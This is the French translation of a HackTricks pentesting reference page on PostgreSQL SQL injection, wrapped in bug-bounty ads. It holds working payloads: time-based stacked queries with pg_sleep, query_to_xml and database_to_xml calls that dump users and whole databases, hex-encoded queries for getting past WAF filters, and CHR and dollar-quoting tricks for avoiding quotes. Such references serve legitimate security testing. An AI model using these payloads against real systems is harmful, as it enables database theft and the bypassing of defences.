hacktricks/pentesting-web/sql-injection/postgresql-injection
2023-07-13 10:25:02 +00:00
..
big-binary-files-upload-postgresql.md Translated to French 2023-06-03 13:10:46 +00:00
dblink-lo_import-data-exfiltration.md Translated to French 2023-06-03 13:10:46 +00:00
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md Translated to French 2023-06-03 13:10:46 +00:00
pl-pgsql-password-bruteforce.md Translated to French 2023-06-03 13:10:46 +00:00
rce-with-postgresql-extensions.md Translated to French 2023-06-03 13:10:46 +00:00
rce-with-postgresql-languages.md Translated to French 2023-06-03 13:10:46 +00:00
README.md Translated ['generic-methodologies-and-resources/shells/windows.md', 'ma 2023-07-13 10:25:02 +00:00

Injection PostgreSQL

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Astuce de prime de bug : inscrivez-vous à Intigriti, une plateforme de prime de bug premium créée par des pirates, pour les pirates ! Rejoignez-nous sur https://go.intigriti.com/hacktricks dès aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !

{% embed url="https://go.intigriti.com/hacktricks" %}

Cette page vise à expliquer différentes astuces qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données PostgreSQL et à compléter les astuces que vous pouvez trouver sur https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Interaction réseau - Élévation de privilèges, scanner de port, divulgation de la réponse de défi NTLM et exfiltration

dblink est un module PostgreSQL qui offre plusieurs options intéressantes du point de vue de l'attaquant. Il peut être utilisé pour se connecter à d'autres instances PostgreSQL ou effectuer des connexions TCP.
Ces fonctionnalités, ainsi que la fonctionnalité COPY FROM, peuvent être utilisées pour élever les privilèges, effectuer un scan de port ou récupérer des réponses de défi NTLM.
Vous pouvez lire ici comment effectuer ces attaques.

Vous pouvez lire cet exemple pour voir un exemple de CTF de comment charger des données dans des objets volumineux et ensuite exfiltrer le contenu des objets volumineux dans le nom d'utilisateur de la fonction dblink_connect.

Attaques PostgreSQL : Lecture/écriture, RCE, élévation de privilèges

Découvrez comment compromettre l'hôte et élever les privilèges depuis PostgreSQL dans :

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

Contournement de WAF

Fonctions de chaîne PostgreSQL

La manipulation de chaînes peut vous aider à contourner les WAF ou autres restrictions.
Dans cette page , vous pouvez trouver quelques fonctions de chaînes utiles.

Requêtes empilées

N'oubliez pas que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications généreront une erreur si 2 réponses sont renvoyées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via l'injection de temps :

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

Astuces XML

query_to_xml

Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez décharger beaucoup de données en une seule ligne :

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Cette fonction permet de sauvegarder l'intégralité de la base de données au format XML en une seule ligne (faites attention si la base de données est très volumineuse, car cela pourrait entraîner une attaque par déni de service (DoS) ou affecter votre propre client) :

SELECT database_to_xml(true,true,'');

Chaînes en hexadécimal

Si vous pouvez exécuter des requêtes en les passant à l'intérieur d'une chaîne (par exemple en utilisant la fonction query_to_xml), vous pouvez utiliser la fonction convert_from pour passer la chaîne en hexadécimal et contourner les filtres de cette manière :

{% code overflow="wrap" %}

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Guillemets interdits

Si vous ne pouvez pas utiliser de guillemets pour votre payload, vous pouvez contourner cette restriction avec CHR pour les clauses de base (la concaténation de caractères ne fonctionne que pour les requêtes de base telles que SELECT, INSERT, DELETE, etc. Elle ne fonctionne pas pour toutes les instructions SQL) :

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Ou avec $. Ces requêtes renvoient les mêmes résultats :

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;


Astuce de prime de bug: inscrivez-vous à Intigriti, une plateforme premium de prime de bug créée par des hackers, pour les hackers ! Rejoignez-nous sur https://go.intigriti.com/hacktricks dès aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥